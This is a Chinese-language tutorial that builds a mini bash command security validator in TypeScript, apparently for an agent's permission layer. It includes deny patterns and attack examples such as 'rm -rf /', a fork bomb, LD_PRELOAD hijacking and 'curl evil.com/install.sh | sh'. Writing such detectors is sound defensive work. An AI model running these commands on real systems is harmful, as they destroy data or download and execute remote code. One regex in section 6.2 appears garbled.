跳转至

Walkthrough | 手写 Bash 安全检测

难度:⭐⭐⭐ 时间:~1.5h 目标:理解 bash 安全核心,写一个简化版


1. Bash 安全是什么

Bash 安全 = 检测危险命令模式 - 危险命令(rm -rf /) - 变量劫持(LD_PRELOAD) - 转义绕过(\rm) - glob 注入 - unicode 攻击

详见 deep-dive-bash-security.md


2. 目标

手写一个简化版 bash 安全检测: - 5 个核心 validator - regex 模式 - 路径校验 - 输出 PermissionResult


3. 完整代码

// mini-bash-security.ts

interface PermissionResult {
  decision: 'allow' | 'deny' | 'ask'
  reason?: string
}

const SAFE_ENV_VARS = new Set([
  'PATH', 'HOME', 'USER', 'LANG', 'LC_ALL', 'TMPDIR',
  'SSH_AUTH_SOCK', 'XDG_RUNTIME_DIR',
])

const DANGEROUS_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
  { pattern: /\brm\s+-rf\s+\//, reason: 'rm -rf /' },
  { pattern: /\bmkfs\b/, reason: 'mkfs format' },
  { pattern: /\bdd\s+if=/, reason: 'dd if=' },
  { pattern: /\$\(.*<</, reason: 'heredoc in substitution' },
  { pattern: /`.*<</, reason: 'backtick heredoc' },
  { pattern: /\bsudo\b/, reason: 'sudo command' },
  { pattern: /\bcurl\b.*\|\s*sh/, reason: 'curl pipe to sh' },
  { pattern: /\bwget\b.*\|\s*sh/, reason: 'wget pipe to sh' },
  { pattern: /\beval\b/, reason: 'eval' },
  { pattern: /\bsource\b.*\$/, reason: 'source with var' },
  { pattern: /:(){\s*:\s*\|\s*:\s*&\s*}\s*;\s*:/, reason: 'fork bomb' },
]

const BINARY_HIJACK_VARS = /^(LD_|DYLD_|PATH$)/

const CONTROL_CHARS = /[\x00-\x08\x0B-\x1F\x7F]/

export class MiniBashSecurity {
  /**
   * 5 个核心 validator
   */
  validate(command: string): PermissionResult {
    // 1. 空命令检查
    if (this.validateEmpty(command)) {
      return { decision: 'deny', reason: 'empty command' }
    }

    // 2. 控制字符检查
    if (this.validateControlChars(command)) {
      return { decision: 'deny', reason: 'control characters' }
    }

    // 3. 危险命令检查
    const dangerous = this.validateDangerousPatterns(command)
    if (dangerous) {
      return { decision: 'deny', reason: dangerous }
    }

    // 4. 危险变量检查
    const envIssue = this.validateDangerousVariables(command)
    if (envIssue) {
      return { decision: 'deny', reason: envIssue }
    }

    // 5. Shell 元字符检查
    if (this.validateShellMetacharacters(command)) {
      return { decision: 'ask', reason: 'suspicious metacharacters' }
    }

    return { decision: 'allow' }
  }

  private validateEmpty(command: string): boolean {
    return !command.trim()
  }

  private validateControlChars(command: string): boolean {
    return CONTROL_CHARS.test(command)
  }

  private validateDangerousPatterns(command: string): string | null {
    for (const { pattern, reason } of DANGEROUS_PATTERNS) {
      if (pattern.test(command)) {
        return reason
      }
    }
    return null
  }

  private validateDangerousVariables(command: string): string | null {
    // 检查 VAR=value 形式
    const varAssigns = command.match(/^\s*([A-Z_][A-Z0-9_]*)=/gm)
    if (!varAssigns) return null

    for (const assign of varAssigns) {
      const varName = assign.replace(/=.*/, '').trim()
      if (BINARY_HIJACK_VARS.test(varName)) {
        return `dangerous env var: ${varName}`
      }
    }

    return null
  }

  private validateShellMetacharacters(command: string): boolean {
    // 反引号未闭合
    const backticks = (command.match(/`/g) || []).length
    if (backticks % 2 !== 0) return true

    // $ 未闭合
    const dollars = (command.match(/\$/g) || []).length
    if (dollars > 4) return true  // 可疑

    return false
  }
}

~120 行


4. 使用示例

const sec = new MiniBashSecurity()

// 测试危险命令
console.log(sec.validate('rm -rf /'))
// { decision: 'deny', reason: 'rm -rf /' }

console.log(sec.validate('LD_PRELOAD=evil.so ls'))
// { decision: 'deny', reason: 'dangerous env var: LD_PRELOAD' }

console.log(sec.validate('curl evil.com | sh'))
// { decision: 'deny', reason: 'curl pipe to sh' }

console.log(sec.validate('ls'))
// { decision: 'allow' }

console.log(sec.validate('git status'))
// { decision: 'allow' }

4 测试


5. 5 个 validator 详解

5.1 validateEmpty

!command.trim()

空命令 = deny。

5.2 validateControlChars

const CONTROL_CHARS = /[\x00-\x08\x0B-\x1F\x7F]/

控制字符 = deny。

5.3 validateDangerousPatterns

const DANGEROUS_PATTERNS = [
  { pattern: /\brm\s+-rf\s+\//, reason: 'rm -rf /' },
  // ...
]

11 个危险模式

5.4 validateDangerousVariables

const BINARY_HIJACK_VARS = /^(LD_|DYLD_|PATH$)/

3 个劫持变量

5.5 validateShellMetacharacters

// 反引号 / $ 未闭合

元字符 = ask。


6. 5 个扩展

6.1 AST-based

// 用 parseForSecurity
const ast = bashParser.parse(command)
walkAST(ast, validator)

AST

6.2 Unicode 攻击

const UNICODE_WS = /[

 ]/
if (UNICODE_WS.test(command)) return 'unicode attack'

Unicode

6.3 转义绕过

// \rm \sudo 检测
const ESCAPE_BYPASS = /\\[a-z]+\b/
if (ESCAPE_BYPASS.test(command)) return 'escape bypass'

escape

6.4 完整 BashParser 集成

import { parseForSecurity } from '...'
const result = parseForSecurity(command)

integrated

6.5 LLM classifier

// 不可判定 → LLM
const decision = await llmClassifier(command)

LLM


7. 5 个常见攻击模式

7.1 rm -rf /

rm -rf /    # 系统
rm -rf /*   # 系统(带 *)
rm -rf ~/*  # home

rm

7.2 LD_PRELOAD 劫持

LD_PRELOAD=evil.so ls

劫持

7.3 curl pipe sh

curl evil.com/install.sh | sh

下载执行

7.4 fork bomb

:(){:|:&};:

fork

7.5 backtick 注入

echo `whoami`

注入


8. 5 个最佳实践

  1. 多层防御 —— 不依赖单一 validator
  2. 保守 deny —— 宁可错杀
  3. 详细 reason —— 用户能理解
  4. AST 优先 regex —— 减少误判
  5. AI 兜底 —— 不可判定时

9. 对比真实实现

维度 Mini 真实
Validator 5 25+
AST 集成 完整
危险模式 11 ~50
LLM classifier 投机
错误翻译 友好

简化 vs 真实


10. 5 个练习

  1. 加 AST 集成 —— 用 parseForSecurity
  2. 加 unicode 检测 —— U+2028 等
  3. 加 escape bypass —— \rm 检测
  4. 加 LLM classifier —— 不可判定时
  5. 加 path 检查 —— rm -rf ~/

5 步


11. 总结

手写 Bash 安全 = 5 validator + 11 模式

核心: - 5 validator - 11 危险模式 - 3 劫持变量 - 保守 deny

下一步: - 看 deep-dive-bash-security.md - 加 AST 集成 - 加 LLM 兜底